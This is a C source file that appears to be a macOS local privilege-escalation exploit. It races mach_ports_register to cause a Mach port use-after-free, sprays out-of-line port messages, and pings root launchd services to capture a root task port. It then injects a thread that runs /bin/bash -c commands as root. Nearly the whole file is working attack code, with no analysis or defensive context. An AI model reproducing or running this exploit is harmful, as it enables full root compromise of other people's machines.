#include "task.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include struct ool_msg { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports; }; struct ool_multi_msg { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports[1000]; }; mach_port_t* ports_to_stash = NULL; int n_stashed_ports = 0; void prepare_port() ; void run_command(mach_port_t target_task, char* command) { kern_return_t err; size_t command_length = strlen(command) + 1; size_t command_page_length = ((command_length + 0xfff) >> 12) << 12; command_page_length += 1; // for the stack // allocate some memory in the task mach_vm_address_t command_addr = 0; err = mach_vm_allocate(target_task, &command_addr, command_page_length, VM_FLAGS_ANYWHERE); if (err != KERN_SUCCESS) { printf("mach_vm_allocate: %s\n", mach_error_string(err)); return; } printf("allocated command at %llx\n", command_addr); uint64_t bin_bash = command_addr; uint64_t dash_c = command_addr + 0x10; uint64_t cmd = command_addr + 0x20; uint64_t argv = command_addr + 0x800; uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0}; err = mach_vm_write(target_task, bin_bash, (mach_vm_offset_t)"/bin/bash", strlen("/bin/bash") + 1); err = mach_vm_write(target_task, dash_c, (mach_vm_offset_t)"-c", strlen("-c") + 1); err = mach_vm_write(target_task, cmd, (mach_vm_offset_t)command, strlen(command) + 1); err = mach_vm_write(target_task, argv, (mach_vm_offset_t)argv_contents, sizeof(argv_contents)); if (err != KERN_SUCCESS) { printf("mach_vm_write: %s\n", mach_error_string(err)); return; } // create a new thread: mach_port_t new_thread = MACH_PORT_NULL; x86_thread_state64_t state; mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT; memset(&state, 0, sizeof(state)); // the minimal register state we require: state.__rip = (uint64_t)execve; state.__rdi = (uint64_t)bin_bash; state.__rsi = (uint64_t)argv; state.__rdx = (uint64_t)0; err = thread_create_running(target_task, x86_THREAD_STATE64, (thread_state_t)&state, stateCount, &new_thread); if (err != KERN_SUCCESS) { printf("thread_create_running: %s\n", mach_error_string(err)); return; } printf("done?\n"); } void begin_stash(int n_ports) { ports_to_stash = calloc(sizeof(mach_port_t), n_ports); } void stash_port(mach_port_t p) { ports_to_stash[n_stashed_ports++] = p; } mach_port_t stashed_ports_q[10000] ; int i_offset = 0 ; int i_released = -20 ; void* dp_control_port_racer_thread(void* arg) { pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL); for (;;) { if (i_released < 0) continue; break; } int i_count = 0 ; kern_return_t err; for (int i = 0; i < 2000; i++) {; // we've patched the generated code for mach_ports_register to only actually send one OOL port // but still set init_port_setCnt to the value passed here mach_port_t p_self = mach_task_self(); err = mach_ports_register(mach_task_self(), &p_self, 3); if (err == KERN_SUCCESS) { printf("failed to register for no-more-senders notification (%s)\n", mach_error_string(err)); i_count++; if (i_count == 2) break; } } i_released = 9999; return NULL; } void end_stash() { kern_return_t err; printf ("try to write data in kalloc.16:%d\n",0x1000); for (int i = 0 ; i != 0x1000 ; i++) { mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &stashed_ports_q[i]); struct ool_msg* stash_msg = malloc(sizeof(struct ool_msg)); memset(stash_msg, 0, sizeof(struct ool_msg)); stash_msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); stash_msg->hdr.msgh_size = sizeof(struct ool_msg); stash_msg->hdr.msgh_remote_port = stashed_ports_q[i]; stash_msg->hdr.msgh_local_port = MACH_PORT_NULL; stash_msg->hdr.msgh_id = 0x41414141; stash_msg->body.msgh_descriptor_count = 1; stash_msg->ool_ports.address = ports_to_stash; stash_msg->ool_ports.count = 2;//n_stashed_ports; stash_msg->ool_ports.deallocate = 0; stash_msg->ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND; // we don't hold a send for these ports stash_msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; stash_msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY; // send it: err = mach_msg(&stash_msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(struct ool_msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("%s\n", mach_error_string(err)); } } } // // did we get a notification message? int got_no_more_senders(mach_port_t q) { kern_return_t err; mach_port_seqno_t msg_seqno = 0; mach_msg_size_t msg_size = 0; mach_msg_id_t msg_id = 0; mach_msg_trailer_t msg_trailer; // NULL trailer mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer); err = mach_port_peek(mach_task_self(), q, MACH_RCV_TRAILER_NULL, &msg_seqno, &msg_size, &msg_id, (mach_msg_trailer_info_t)&msg_trailer, &msg_trailer_size); if (err == KERN_SUCCESS && msg_id == 0x46) { printf("got NMS\n"); return 1; } return 0; } void prepare_port() { kern_return_t err; for (int i = 100 ; i != 300 ;i++) { if (i%10 ==0) mach_port_destroy(mach_task_self(),stashed_ports_q[i]); } } mach_port_t lookup(char* name) { mach_port_t service_port = MACH_PORT_NULL; kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port); if(err != KERN_SUCCESS){ printf("unable to look up %s\n", name); return MACH_PORT_NULL; } if (service_port == MACH_PORT_NULL) { printf("bad service port\n"); return MACH_PORT_NULL; } return service_port; } void lookup_and_ping_service(char* name) { mach_port_t service_port = lookup(name); if (service_port == MACH_PORT_NULL) { printf("failed too lookup %s\n", name); return; } // send a ping message to make sure the service actually gets launched: kern_return_t err; mach_msg_header_t basic_msg; basic_msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); basic_msg.msgh_size = sizeof(basic_msg); basic_msg.msgh_remote_port = service_port; basic_msg.msgh_local_port = MACH_PORT_NULL; basic_msg.msgh_reserved = 0; basic_msg.msgh_id = 0x41414141; err = mach_msg(&basic_msg, MACH_SEND_MSG, sizeof(basic_msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("failed to send ping message to service %s (err: %s)\n", name, mach_error_string(err)); return; } printf("pinged %s\n", name); } void* do_lookups(void* arg) { lookup_and_ping_service("com.apple.storeaccountd"); lookup_and_ping_service("com.apple.hidfud"); lookup_and_ping_service("com.apple.netauth.sys.gui"); lookup_and_ping_service("com.apple.netauth.user.gui"); lookup_and_ping_service("com.apple.avbdeviced"); return NULL; } void start_root_lookups_thread() { pthread_t thread; pthread_create(&thread, NULL, do_lookups, NULL); } mach_port_t notify_q[20000]; int main() { kern_return_t err; mach_port_t middle_ports ; ag: i_released = -20 ; mach_port_allocate(mach_task_self(),MACH_PORT_RIGHT_RECEIVE,&middle_ports); printf("port name %d\n",middle_ports); begin_stash(2); stash_port(middle_ports); end_stash(); pthread_t racer_thread; pthread_create(&racer_thread, NULL, dp_control_port_racer_thread, NULL); for (int i = 0 ; i != 0x1000 ;i++) { if (i%0x10 ==0) { if (i_released <0) i_released++; mach_port_destroy(mach_task_self(),stashed_ports_q[i]); } } out: for (int i = 0 ; i!=3; i++){ printf("waiting!\n"); sleep(1); if (i_released < 9999) continue; break; } printf("OUT!\n"); mach_port_insert_right(mach_task_self(), middle_ports, middle_ports, MACH_MSG_TYPE_MAKE_SEND); for (int i = 0 ; i != 0x1000 ;i++) { if (i == 0xfff) { // __asm ("int3"); start_root_lookups_thread(); } if (i%0x10 !=0) { mach_port_destroy(mach_task_self(),stashed_ports_q[i]); } } sleep(2); free(ports_to_stash); printf("Try Hook!\n"); size_t max_request_size = 0x10000; mach_msg_header_t* request = malloc(max_request_size); pid_t pid = 0; pid_for_task(middle_ports, &pid); if (pid != 0) { printf("got task port for pid: %d\n", pid); } int proc_err; struct proc_bsdshortinfo info = {0}; proc_err = proc_pidinfo(pid, PROC_PIDT_SHORTBSDINFO, 0, &info, sizeof(info)); if (proc_err <= 0) { // fail printf("proc_pidinfo failed\n"); //goto ag; }else { if (info.pbsi_uid == 0) { printf("got r00t!! ******************\n"); printf("(via task port for: %s)\n", info.pbsi_comm); run_command(middle_ports, "echo hello > /tmp/hello_from_root"); for (;;) { printf("check r00t!! ******************\n"); sleep(5); } } } /* memset(request, 0, max_request_size); err = mach_msg(request, MACH_RCV_MSG | MACH_RCV_LARGE, // leave larger messages in the queue 0, max_request_size, middle_ports, 0, 0); if (err != KERN_SUCCESS) { printf("error receiving on port set: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } printf("got a request, fixing it up...\n"); */ return 0; }